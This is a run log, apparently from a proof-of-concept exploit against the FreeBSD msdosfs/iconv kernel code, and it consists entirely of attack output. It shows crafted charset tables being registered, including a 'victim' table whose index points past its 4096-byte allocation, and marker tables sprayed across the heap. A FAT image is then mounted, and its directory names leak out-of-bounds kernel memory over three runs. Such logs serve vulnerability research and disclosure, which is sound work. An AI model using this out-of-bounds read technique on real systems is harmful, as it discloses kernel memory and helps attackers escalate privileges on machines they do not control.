DF-5746 / run.log
4 1 0xffffffff82600000 f000 msdos_iconv.ko
5 1 0xffffffff8260f000 3f000 libiconv.ko
newfs_msdos: warning, /root/fat.img is not a character device
/root/fat.img: 130904 sectors in 16363 FAT16 clusters (4096 bytes/cluster)
BytesPerSec=512 SecPerClust=8 ResSectors=1 FATs=2 RootDirEnts=512 Media=0xf0 FATsecs=64 SecPerTrack=63 Heads=255 HiddenSecs=0 HugeSectors=131072
total 8
-rwxr-xr-x 1 root wheel 9 Oct 11 02:57 ABCDEFGHIJKLMNOP.k
[+] image ready: /root/fat.img (contains LFN 'ABCDEFGHIJKLMNOP.k')
=== run R2 ===
[+] registered pair to=PWNLR2 from=UTF-16BE datalen= 4096 csid=43
[*] victim 'PWNLR2:UTF-16BE' allocates 4096 bytes (index only) but its index references 18 data blocks => every converted char reads 4096..12800 bytes PAST the allocation
[+] registered pair to=MKR2_00 from=MRKR200 datalen= 4096 csid=44
[+] registered pair to=MKR2_01 from=MRKR201 datalen= 4096 csid=45
[+] registered pair to=MKR2_02 from=MRKR202 datalen= 4096 csid=46
[+] registered pair to=MKR2_03 from=MRKR203 datalen= 4096 csid=47
[+] registered pair to=MKR2_04 from=MRKR204 datalen= 4096 csid=48
[+] registered pair to=MKR2_05 from=MRKR205 datalen= 4096 csid=49
[+] registered pair to=MKR2_06 from=MRKR206 datalen= 4096 csid=50
[+] registered pair to=MKR2_07 from=MRKR207 datalen= 4096 csid=51
[+] registered pair to=MKR2_08 from=MRKR208 datalen= 4096 csid=52
[+] registered pair to=MKR2_09 from=MRKR209 datalen= 4096 csid=53
[+] registered pair to=MKR2_10 from=MRKR210 datalen= 4096 csid=54
[+] registered pair to=MKR2_11 from=MRKR211 datalen= 4096 csid=55
[+] registered pair to=MKR2_12 from=MRKR212 datalen= 4096 csid=56
[+] registered pair to=MKR2_13 from=MRKR213 datalen= 4096 csid=57
[+] registered pair to=MKR2_14 from=MRKR214 datalen= 4096 csid=58
[+] registered pair to=MKR2_15 from=MRKR215 datalen= 4096 csid=59
[+] registered pair to=UTF-16BE from=PWNLR2 datalen= 4608 csid=60
[+] registered pair to=PWNDR2 from=PWNLR2 datalen= 4608 csid=61
[+] registered pair to=PWNLR2 from=PWNDR2 datalen= 4608 csid=62
[+] mounted /dev/vn0 at /mnt (cs_local=PWNLR2 cs_dos=PWNDR2)
--- dirent namlen=1: .
hex: 2e
--- dirent namlen=2: ..
hex: 2e 2e
--- dirent namlen=29: ???????KMKMKMKMKMKMKMKMKM\x02\x01KM
hex: 3f 3f 3f 3f 3f 3f 3f 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 02 01 4b 4d
[+] done
=== run R3 ===
[+] registered pair to=PWNLR3 from=UTF-16BE datalen= 4096 csid=63
[*] victim 'PWNLR3:UTF-16BE' allocates 4096 bytes (index only) but its index references 18 data blocks => every converted char reads 4096..12800 bytes PAST the allocation
[+] registered pair to=MKR3_00 from=MRKR300 datalen= 4096 csid=64
[+] registered pair to=MKR3_01 from=MRKR301 datalen= 4096 csid=65
[+] registered pair to=MKR3_02 from=MRKR302 datalen= 4096 csid=66
[+] registered pair to=MKR3_03 from=MRKR303 datalen= 4096 csid=67
[+] registered pair to=MKR3_04 from=MRKR304 datalen= 4096 csid=68
[+] registered pair to=MKR3_05 from=MRKR305 datalen= 4096 csid=69
[+] registered pair to=MKR3_06 from=MRKR306 datalen= 4096 csid=70
[+] registered pair to=MKR3_07 from=MRKR307 datalen= 4096 csid=71
[+] registered pair to=MKR3_08 from=MRKR308 datalen= 4096 csid=72
[+] registered pair to=MKR3_09 from=MRKR309 datalen= 4096 csid=73
[+] registered pair to=MKR3_10 from=MRKR310 datalen= 4096 csid=74
[+] registered pair to=MKR3_11 from=MRKR311 datalen= 4096 csid=75
[+] registered pair to=MKR3_12 from=MRKR312 datalen= 4096 csid=76
[+] registered pair to=MKR3_13 from=MRKR313 datalen= 4096 csid=77
[+] registered pair to=MKR3_14 from=MRKR314 datalen= 4096 csid=78
[+] registered pair to=MKR3_15 from=MRKR315 datalen= 4096 csid=79
[+] registered pair to=UTF-16BE from=PWNLR3 datalen= 4608 csid=80
[+] registered pair to=PWNDR3 from=PWNLR3 datalen= 4608 csid=81
[+] registered pair to=PWNLR3 from=PWNDR3 datalen= 4608 csid=82
[+] mounted /dev/vn0 at /mnt (cs_local=PWNLR3 cs_dos=PWNDR3)
--- dirent namlen=1: .
hex: 2e
--- dirent namlen=2: ..
hex: 2e 2e
--- dirent namlen=28: KMKMKMKMKMKMKM\x02\x01???????\x02\x01KM?
hex: 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 02 01 3f 3f 3f 3f 3f 3f 3f 02 01 4b 4d 3f
[+] done
=== run R4 ===
[+] registered pair to=PWNLR4 from=UTF-16BE datalen= 4096 csid=83
[*] victim 'PWNLR4:UTF-16BE' allocates 4096 bytes (index only) but its index references 18 data blocks => every converted char reads 4096..12800 bytes PAST the allocation
[+] registered pair to=MKR4_00 from=MRKR400 datalen= 4096 csid=84
[+] registered pair to=MKR4_01 from=MRKR401 datalen= 4096 csid=85
[+] registered pair to=MKR4_02 from=MRKR402 datalen= 4096 csid=86
[+] registered pair to=MKR4_03 from=MRKR403 datalen= 4096 csid=87
[+] registered pair to=MKR4_04 from=MRKR404 datalen= 4096 csid=88
[+] registered pair to=MKR4_05 from=MRKR405 datalen= 4096 csid=89
[+] registered pair to=MKR4_06 from=MRKR406 datalen= 4096 csid=90
[+] registered pair to=MKR4_07 from=MRKR407 datalen= 4096 csid=91
[+] registered pair to=MKR4_08 from=MRKR408 datalen= 4096 csid=92
[+] registered pair to=MKR4_09 from=MRKR409 datalen= 4096 csid=93
[+] registered pair to=MKR4_10 from=MRKR410 datalen= 4096 csid=94
[+] registered pair to=MKR4_11 from=MRKR411 datalen= 4096 csid=95
[+] registered pair to=MKR4_12 from=MRKR412 datalen= 4096 csid=96
[+] registered pair to=MKR4_13 from=MRKR413 datalen= 4096 csid=97
[+] registered pair to=MKR4_14 from=MRKR414 datalen= 4096 csid=98
[+] registered pair to=MKR4_15 from=MRKR415 datalen= 4096 csid=99
[+] registered pair to=UTF-16BE from=PWNLR4 datalen= 4608 csid=100
[+] registered pair to=PWNDR4 from=PWNLR4 datalen= 4608 csid=101
[+] registered pair to=PWNLR4 from=PWNDR4 datalen= 4608 csid=102
[+] mounted /dev/vn0 at /mnt (cs_local=PWNLR4 cs_dos=PWNDR4)
--- dirent namlen=1: .
hex: 2e
--- dirent namlen=2: ..
hex: 2e 2e
--- dirent namlen=36: KMKMKMKMKMKMKMKMKMKMKMKMKMKMKMKMKMKM
hex: 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d 4b 4d
[+] done